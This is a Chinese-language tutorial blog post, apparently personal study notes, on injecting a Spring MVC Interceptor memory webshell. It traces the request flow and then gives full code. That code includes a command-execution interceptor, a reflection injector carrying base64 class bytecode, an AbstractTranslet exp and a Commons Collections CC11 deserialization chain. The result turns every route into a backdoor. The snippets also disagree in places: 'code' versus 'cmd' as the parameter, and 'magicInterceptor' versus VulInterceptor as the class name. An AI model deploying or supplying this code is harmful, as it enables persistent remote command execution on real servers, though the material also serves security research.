前言

随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器的时候,会经过一些系列的网关,复杂均衡,防火墙。所以如果你新建的shell路由不在这些网关的白名单中,那么就很有可能无法访问到,在到达应用服务器之前就会被丢弃,我们该如何解决这个问题?

所以,在注入内存马的时候,就尽量不要用新建的路由,或者shell地址。最好是在访问正常的业务地址之前,就能执行我们的代码。

流程分析

我们先在org.apache.catalina.core.ApplicationFilterChain中的 internalDoFilter方法中打断点

Java内存马学习笔记-Interceptor - 图1

可以查看到执行流程

Java内存马学习笔记-Interceptor - 图2

看起来和我们之前调试的Tomcat很像。

但是这里不同的是在经过 Filter 层面处理后,就会进入熟悉的 spring-webmvc 组件 org.springframework.web.servlet.DispatcherServlet 类的 doDispatch 方法中。

Java内存马学习笔记-Interceptor - 图3

跟进这个方法,这里调用了getHandler,继续跟进

Java内存马学习笔记-Interceptor - 图4

可以看到是遍历this.handlerMappings 这个迭代器中的mappergetHandler 方法处理Http中的request请求。

继续追踪,最终会调用到org.springframework.web.servlet.handler.AbstractHandlerMapping 类的 getHandler 方法,并通过 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 类的实例。

Java内存马学习笔记-Interceptor - 图5

跟进getHandlerExecutionChain

Java内存马学习笔记-Interceptor - 图6

发现会遍历 this.adaptedInterceptors 对象里所有的 HandlerInterceptor 类实例,通过 chain.addInterceptor 把已有的所有拦截器加入到需要返回的 HandlerExecutionChain 类实例中。以上就是添加拦截器(interceptor)。

接下来看看在哪里调用。继续往下跟

Java内存马学习笔记-Interceptor - 图7

Java内存马学习笔记-Interceptor - 图8

跟进之后发现interceptor.preHandle(request, response, this.handler) 会遍历拦截器,并执行其preHandle方法。

Java内存马学习笔记-Interceptor - 图9

如果程序提前在调用的 Controller 上设置了 Aspect(切面),那么在正式调用 Controller 前实际上会先调用切面的代码,一定程度上也起到了 “拦截” 的效果。

那么总结一下,一个 request 发送到 spring 应用,大概会经过以下几个层面才会到达处理业务逻辑的 Controller 层:

  1. HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller

攻击构造

Interceptor 来拦截所有进入 Controller 的 http 请求理论上是可行的,接下来就是实现从代码层面动态注入一个 Interceptor 来达到 webshell 的效果。

实现恶意Interceptor

首先,我写了一个继承自 org.springframework.web.servlet.handler.HandlerInterceptorAdapter 类,名为 VulInterceptor 的拦截器,并重写了 preHandle 方法,在其中实现一个简单的命令执行回显的 webshell 逻辑。

  1. import org.springframework.web.servlet.HandlerInterceptor;
  2. import org.springframework.web.servlet.ModelAndView;
  3. import javax.servlet.http.HttpServletRequest;
  4. import javax.servlet.http.HttpServletResponse;
  5. import java.io.BufferedReader;
  6. import java.io.InputStreamReader;
  7. import java.io.PrintWriter;
  8. public class VulInterceptor implements HandlerInterceptor {
  9. @Override
  10. public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
  11. try {
  12. String arg0 = request.getParameter("cmd");
  13. PrintWriter writer = response.getWriter();
  14. if (arg0 != null) {
  15. String o = "";
  16. java.lang.ProcessBuilder p;
  17. if(System.getProperty("os.name").toLowerCase().contains("win")){
  18. p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
  19. }else{
  20. p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
  21. }
  22. java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
  23. o = c.hasNext() ? c.next(): o;
  24. c.close();
  25. writer.write(o);
  26. writer.flush();
  27. writer.close();
  28. }else{
  29. //当请求没有携带指定的参数(code)时,返回 404 错误
  30. response.sendError(404);
  31. }
  32. }catch (Exception e){}
  33. return true;
  34. }
  35. @Override
  36. public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
  37. HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
  38. }
  39. @Override
  40. public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
  41. HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
  42. }
  43. }

获取 ApplicationContext

然后,根据前面的详细分析,我选择把上面的 VulInterceptor 类实例手动注入到 org.springframework.web.servlet.handler.AbstractHandlerMapping 类的 adaptedInterceptors 属性中。

这里就遇到了个问题,怎么拿到当前代码运行环境中原来的 adaptedInterceptors 属性值呢?这里可以从当前代码运行时的上下文环境 ApplicationContext 中去寻找。

且网上都有的四种获得ApplicationContext实例,这里随便选用一种。

获取adaptedInterceptors 属性值

获得 ApplicationContext 实例后,还需要知道 org.springframework.web.servlet.handler.AbstractHandlerMapping 类实例的 bean name 叫什么。

bean 实例名字是 requestMappingHandlerMapping 或者比较老版本的 DefaultAnnotationHandlerMapping

  1. org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
  2. java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  3. field.setAccessible(true);
  4. java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

注入Interceptor

万事俱备,最后只要把第一步实现的恶意 Interceptor 类加入到 adaptedInterceptors 属性值中就可以了。

这里顺便讲个小技巧,可以把 VulInterceptor 类在当前线程上下文的 ClassLoader 中定义,然后再从其中取出来就可以获得类实例了。

  1. String className = "VulInterceptor";
  2. String b64 = "......"; // VulInterceptor 类 class 的 base64 编码
  3. byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
  4. java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
  5. try {
  6. classLoader.loadClass(className);
  7. }catch (ClassNotFoundException e){
  8. java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
  9. m0.setAccessible(true);
  10. m0.invoke(classLoader, className, bytes, 0, bytes.length);
  11. adaptedInterceptors.add(classLoader.loadClass("magicInterceptor").newInstance());
  12. }

所以内存马:

  1. import org.springframework.web.context.WebApplicationContext;
  2. import org.springframework.web.context.request.RequestContextHolder;
  3. import org.springframework.web.context.request.ServletRequestAttributes;
  4. import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
  5. import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
  6. import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
  7. import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  8. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  9. import javax.servlet.http.HttpServletRequest;
  10. import javax.servlet.http.HttpServletResponse;
  11. import java.io.IOException;
  12. import java.lang.reflect.InvocationTargetException;
  13. import java.lang.reflect.Method;
  14. import java.nio.file.Files;
  15. import java.nio.file.Paths;
  16. public class Evil {
  17. public Evil() throws Exception{
  18. //获得context
  19. WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  20. //获取 adaptedInterceptors 属性值
  21. org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
  22. java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  23. field.setAccessible(true);
  24. java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
  25. //注入 Interceptor
  26. String className = "VulInterceptor";
  27. String b64 = "yv66vgAAADQAlgoAIwBPCABQCwBRAFILAFMAVAgAVQgAVgoAVwBYCgAMAFkIAFoKAAwAWwcAXAcAXQgAXggAXwoACwBgCABhCABiBwBjCgALAGQKAGUAZgoAEgBnCABoCgASAGkKABIAagoAEgBrCgASAGwKAG0AbgoAbQBvCgBtAGwLAFMAcAcAcQsAJAByCwAkAHMHAHQHAHUHAHYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTG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AAGAABQAFAAAACiorLC0ZBLcAILEAAAACACgAAAAKAAIAAAAoAAkAKQApAAAANAAFAAAACgAqACsAAAAAAAoANwA4AAEAAAAKADkAOgACAAAACgA7ADwAAwAAAAoARwBIAAQAQwAAAAQAAQAfAEQAAAARBAA3AAAAOQAAADsAAABHAAAAAQBJAEoAAwAnAAAAYAAFAAUAAAAKKissLRkEtwAhsQAAAAIAKAAAAAoAAgAAAC0ACQAuACkAAAA0AAUAAAAKACoAKwAAAAAACgA3ADgAAQAAAAoAOQA6AAIAAAAKADsAPAADAAAACgBLAEwABABDAAAABAABAB8ARAAAABEEADcAAAA5AAAAOwAAAEsAAAABAE0AAAACAE4="; // magicInterceptor 类 class 的 base64 编码
  28. byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
  29. java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
  30. try {
  31. classLoader.loadClass(className);
  32. }catch (ClassNotFoundException e){
  33. java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
  34. m0.setAccessible(true);
  35. m0.invoke(classLoader, className, bytes, 0, bytes.length);
  36. adaptedInterceptors.add(classLoader.loadClass("VulInterceptor").newInstance());
  37. }
  38. }
  39. }

然后我们还是用我们上篇文章的环境打一下。

依然要记得给exp加一个父类为AbstractTranslet。

exp

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. import org.springframework.web.context.WebApplicationContext;
  7. import org.springframework.web.context.request.RequestContextHolder;
  8. public class Evil extends AbstractTranslet {
  9. public Evil() throws Exception{
  10. //获得context
  11. WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  12. //获取 adaptedInterceptors 属性值
  13. org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
  14. java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  15. field.setAccessible(true);
  16. java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
  17. //注入 Interceptor
  18. String className = "VulInterceptor";
  19. String b64 = "yv66vgAAADQAiAoAIABHCAA4CwBIAEkLAEoASwgATAgATQoATgBPCgAMAFAIAFEKAAwAUgcAUwcAVAgAVQgAVgoACwBXCABYCABZBwBaCgALAFsKAFwAXQoAEgBeCABfCgASAGAKABIAYQoAEgBiCgASAGMKAGQAZQoAZABmCgBkAGMHAGcHAGgHAGkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExWdWxJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO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  20. byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
  21. java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
  22. java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
  23. m0.setAccessible(true);
  24. m0.invoke(classLoader, className, bytes, 0, bytes.length);
  25. adaptedInterceptors.add(classLoader.loadClass("VulInterceptor").newInstance());
  26. }
  27. @Override
  28. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  29. }
  30. @Override
  31. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  32. }
  33. }

编译,进行base64填入cc11链中。

cc11链

  1. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import javassist.ClassClassPath;
  4. import javassist.ClassPool;
  5. import javassist.CtClass;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  8. import org.apache.commons.collections.map.LazyMap;
  9. import java.io.*;
  10. import java.lang.reflect.Constructor;
  11. import java.lang.reflect.Field;
  12. import java.util.Base64;
  13. import java.util.HashMap;
  14. import java.util.HashSet;
  15. @SuppressWarnings("all")
  16. public class CC11 {
  17. public static void main(String[] args) throws Exception {
  18. // 利用javasist动态创建恶意字节码
  19. byte[] classBytes = Base64.getDecoder().decode("yv66vgAAADQAnQoAIwBPCgBQAFEIAFILAFMAVAcAVQgAVgsABQBXBwBYCAAxCgAXAFkKAFoAWwoAWgBcBwBdCABeCABfBwBgCgAXAGEKABAAYgoAYwBkCgBjAGUHAGYIAGcHAGgHAGkHADcJAGoAawoAFwBsCgBtAFsHAG4KAGoAbwoAbQBwCgAVAHEKAA0AcgcAcwcAdAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aG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20. // 写入.class 文件
  21. // 将我的恶意类转成字节码,并且反射设置 bytecodes
  22. byte[][] targetByteCodes = new byte[][]{classBytes};
  23. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  24. Field f0 = templates.getClass().getDeclaredField("_bytecodes");
  25. f0.setAccessible(true);
  26. f0.set(templates,targetByteCodes);
  27. f0 = templates.getClass().getDeclaredField("_name");
  28. f0.setAccessible(true);
  29. f0.set(templates,"name");
  30. f0 = templates.getClass().getDeclaredField("_class");
  31. f0.setAccessible(true);
  32. f0.set(templates,null);
  33. InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
  34. HashMap innermap = new HashMap();
  35. LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
  36. TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
  37. HashSet hashset = new HashSet(1);
  38. hashset.add("foo");
  39. Field f = null;
  40. try {
  41. f = HashSet.class.getDeclaredField("map");
  42. } catch (NoSuchFieldException e) {
  43. f = HashSet.class.getDeclaredField("backingMap");
  44. }
  45. f.setAccessible(true);
  46. HashMap hashset_map = (HashMap) f.get(hashset);
  47. Field f2 = null;
  48. try {
  49. f2 = HashMap.class.getDeclaredField("table");
  50. } catch (NoSuchFieldException e) {
  51. f2 = HashMap.class.getDeclaredField("elementData");
  52. }
  53. f2.setAccessible(true);
  54. Object[] array = (Object[])f2.get(hashset_map);
  55. Object node = array[0];
  56. if(node == null){
  57. node = array[1];
  58. }
  59. Field keyField = null;
  60. try{
  61. keyField = node.getClass().getDeclaredField("key");
  62. }catch(Exception e){
  63. keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
  64. }
  65. keyField.setAccessible(true);
  66. keyField.set(node,tiedmap);
  67. Field f3 = transformer.getClass().getDeclaredField("iMethodName");
  68. f3.setAccessible(true);
  69. f3.set(transformer,"newTransformer");
  70. try{
  71. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  72. ObjectOutputStream oos = new ObjectOutputStream(barr);
  73. oos.writeObject(hashset);
  74. oos.close();
  75. // System.out.println(barr);
  76. System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
  77. // ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
  78. // inputStream.readObject();
  79. }catch(Exception e){
  80. e.printStackTrace();
  81. }
  82. }
  83. }

注入效果:

Java内存马学习笔记-Interceptor - 图10

Java内存马学习笔记-Interceptor - 图11

现在任意路由访问输入code参数都是后门。

参考

https://landgrey.me/blog/19/

https://juejin.cn/post/6844904020675559432

https://github.com/Stakcery/JavaSec/blob/main/5.内存马学习/Spring/利用intercetor注入Spring内存马/code/TouchFilea.java